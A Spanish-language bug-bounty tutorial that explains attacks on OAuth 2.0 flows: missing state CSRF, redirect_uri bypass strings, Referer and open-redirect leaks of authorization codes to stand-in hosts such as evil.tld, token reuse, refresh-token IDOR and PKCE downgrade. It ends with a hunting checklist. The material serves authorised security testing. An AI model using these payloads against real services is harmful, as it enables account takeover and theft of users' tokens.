Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel IntermedioCon cuenta

OAuth attacks — state CSRF, redirect_uri bypass, token reuse, IDOR de tokens

Vulnerabilidades en flujos OAuth 2.0: ausencia de state parameter, redirect_uri loose validation, token reuse cross-app, IDOR en endpoints de token refresh.

Gorka El Bochi11 de mayo de 202615 min

Respuesta rápida

OAuth 2.0 es el target más rentable de 2026 — cada implementación tiene matices y los devs casi nunca leen la spec entera. Cuatro bugs explotan el 80% de los flows: state ausente o no validado (CSRF en account linking → ATO), redirect_uri validado con suffix/regex laxo (token leak a dominio atacante), token reuse cross-app (token emitido para client A vale para client B), y IDOR en /oauth/refresh (refresh ajeno renovado por el atacante). Bounties: €1.500-€15.000 según severidad.


El flujo authorization code (refresher)

ini
[Cliente]              [Authorization Server]            [Resource]
   |                            |                            |
   |  /authorize?client_id      |                            |
   |  &redirect_uri=...         |                            |
   |  &state=RANDOM             |                            |
   |  &response_type=code       |                            |
   |  ───────────────────────>  |                            |
   |                            |                            |
   |  302 redirect_uri?code=X   |                            |
   |  &state=RANDOM              |                            |
   |  <─────────────────────── |                            |
   |                            |                            |
   |  POST /token               |                            |
   |  code=X + client_secret    |                            |
   |  ───────────────────────>  |                            |
   |                            |                            |
   |  access_token + refresh    |                            |
   |  <─────────────────────── |                            |

Cada paso tiene su clase de bug. Empezamos por el más común.


state parameter ausente — CSRF en account linking

state es un valor random que el cliente genera, envía a /authorize, y verifica al recibir el callback. Sin state, account linking es CSRF directo.

Escenario

Apps que permiten "linkear cuenta de Google/Facebook a mi cuenta de target.com" suelen tener un flow:

css
1. User logged in target.com clica "Link Google"
2. target.com redirige a Google /authorize
3. Google → target.com/oauth/callback?code=X
4. target.com asocia ese code con la sesión actual del user

Si target.com no valida state, el atacante hace:

css
1. Atacante inicia link de SU Google con SU cuenta target.com
2. Para en el paso 3 — captura code de Google
3. Engaña a víctima para visitar target.com/oauth/callback?code=ATACANTE
4. target.com asocia el code del atacante con la sesión de la víctima
5. Víctima ahora tiene la Google del atacante linkeada
6. Atacante logs out → "Sign in with Google" → entra como víctima

Bounty típico €3.000-€8.000 (ATO completo).

Detección

http
GET /oauth/authorize?client_id=X&redirect_uri=Y&response_type=code
                                                    ← sin &state=

Si el cliente no envía state → ya tienes el bug. Si lo envía pero siempre el mismo valor o no se valida en callback → mismo bug. Test: cambiar el state en el callback, ¿la app sigue funcionando? Si sí → CSRF.


redirect_uri bypass — la mina de oro

redirect_uri debe ser validado exactamente contra una whitelist. Cualquier matching laxo es explotable.

Patrón 1 — prefix matching

javascript
if (redirectUri.startsWith("https://target.com")) accept();

Bypass:

perl
https://target.com.attacker.tld/callback
https://target.com@attacker.tld/callback
https://target.coma.attacker.tld          ← no termina con / o ?

Patrón 2 — suffix matching

javascript
if (redirectUri.endsWith("target.com/callback")) accept();

Bypass:

arduino
https://attacker.tld/target.com/callback

Atacante hostea /target.com/callback con un script que lee ?code= y exfiltra.

Patrón 3 — subdomain wildcard demasiado amplio

javascript
const allowed = /^https:\/\/.*\.target\.com\/callback$/;

Bypass: si cualquier subdomain está controlado por el atacante (subdomain takeover, hosting de user content, blog en pages.target.com/atacante/) → token leak.

Patrón 4 — open redirect en redirect_uri permitido

redirect_uri = https://target.com/redirect?next=... — si target.com/redirect?next= permite redirect a cualquier URL, el code viaja a tu dominio:

ini
redirect_uri=https://target.com/redirect?next=https://evil.tld
                ↓
authorization server redirige a target.com/redirect?next=...&code=X
                ↓
target.com/redirect redirige a evil.tld?code=X
                ↓
evil.tld recibe el code (en query string + via Referer)

Patrón 5 — path traversal en redirect_uri

bash
redirect_uri=https://target.com/callback/../../malicious
                                          ↑ normaliza a /malicious

Útil si la app monta callbacks en sub-paths y otro sub-path es controlable por user.

<!-- PAYWALL -->

Code interception via Referer

El authorization code viaja en query string del callback. Si la página del callback embebe assets de terceros (imagen, font, analytics), esos terceros reciben el Referer con el code.

html
<!-- target.com/oauth/callback?code=ABC123 -->
<img src="https://analytics.evil.tld/pixel.gif">

analytics.evil.tld recibe Referer: https://target.com/oauth/callback?code=ABC123. Bounty típico €500-€2.000 dependiendo del impacto.

Fix correcto: Referrer-Policy: strict-origin o consumir el code antes del render.


Token reuse cross-app

Si dos apps (app1.target.com y app2.target.com) comparten el mismo client_id de authorization server, un token emitido para app1 puede valer para app2 → cross-app SSO unintended.

Test

  1. Login en app1.target.com con Google.
  2. Captura el access_token.
  3. Manda request a app2.target.com/api/... con Authorization: Bearer <token>.
  4. ¿Responde 200? Token reuse cross-app.

Esto es Critical cuando app1 es low-trust (consumer-facing) y app2 es high-trust (admin panel, internal tool).

Audience claim missing

JWTs OAuth deben tener aud (audience) — el cliente debe verificar que el aud matchea su client_id. Si la app no verifica aud, un token emitido para client X vale para client Y.

json
{
  "sub": "user42",
  "iss": "https://auth.target.com",
  "aud": "client-app1",        ← cliente debe verificar esto
  "exp": 1700000000
}

IDOR en /oauth/refresh

Endpoint de refresh suele recibir el refresh_token y emitir un nuevo access_token. Si el endpoint no valida que el refresh pertenezca al user actual:

http
POST /oauth/refresh
Authorization: Bearer ATACANTE_TOKEN
{"refresh_token": "REFRESH_DE_VICTIMA"}
                                          ← 200 OK con access_token de víctima

Origen del refresh ajeno: leak via XSS, log, GraphQL introspection, source map. Patrón documentado en H1 con bounties €2K-€10K.


response_type confusion — implicit flow attacks

response_type=token (implicit flow) devuelve el access_token directamente en el fragment de la URL:

perl
https://app.target.com/callback#access_token=XXX&token_type=bearer

Si el cliente acepta tanto code como token y el atacante puede forzar response_type=token en un flow que normalmente usa code:

css
/authorize?client_id=X&redirect_uri=Y&response_type=token   ← downgrade a implicit

→ token en fragment → exfiltrable vía window.location.hash desde un XSS o open redirect en la app.


PKCE bypass — clientes públicos

PKCE protege clientes públicos (SPA, mobile) que no pueden guardar client_secret. El flow añade code_challenge (hash de code_verifier) que el atacante no puede regenerar.

Bypass común — PKCE opcional

Algunos auth servers permiten PKCE pero no lo requieren. Si el cliente lo manda y la app no lo verifica, el atacante hace request al /token sin PKCE:

http
POST /token
code=INTERCEPTADO              ← sin code_verifier
client_id=public_client_id

Si el server acepta → PKCE downgrade → code interception útil.

Bypass via code_verifier débil

Algunas implementaciones aceptan code_verifier como string vacío. Test:

http
POST /token
code=X
code_verifier=                 ← vacío

Open redirect chain — clásico de €3000

Combinación más rentable: open redirect en la app target + redirect_uri ajeno-friendly.

ini
1. target.com tiene open redirect en /go?to=...
2. Atacante construye: 
   /authorize?redirect_uri=https://target.com/go&state=...
3. Auth server acepta (target.com está whitelisted)
4. Callback llega a target.com/go?code=X&state=Y
5. target.com/go redirige a evil.tld?code=X

evil.tld recibe el code → tiene acceso a la cuenta del usuario.

Bounty real documentado: €3.500-€8.000 dependiendo del scope.


Hunting checklist

  • Captura el flow OAuth completo (authorize + callback + token exchange).
  • Verifica si state se envía y si se valida (cambia el valor en callback).
  • Prueba redirect_uri con: prefix tricks (@, sub.original.com), suffix tricks, path traversal, subdomain wildcards.
  • Inspecciona el callback page por assets de terceros → Referer leak del code.
  • Misma org tiene varias apps? Prueba token reuse cross-app y aud verification.
  • Endpoint de refresh — manda refresh token ajeno desde tu sesión.
  • Cambia response_type=code a token — ¿accept?
  • PKCE: prueba flow sin code_verifier o con valor vacío.
  • Open redirect en target → encadena con OAuth para leak.
  • Account linking flow: CSRF via state ausente → ATO directo.

Labs relacionados

Practica state CSRF, redirect_uri bypass, code interception y PKCE downgrade en labs de OAuth.

Practica esto en un lab

Oauth Attacks State Csrf Redirect

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta
Premium · 1 técnica más

Hay un payload extra al final

El bypass de redirect_uri usando suffix matching que afecta a 30+ apps top según mi research interno — pattern detectable en 1 request.

Desbloquear

5 €/mes · cancela cuando quieras

Artículos relacionados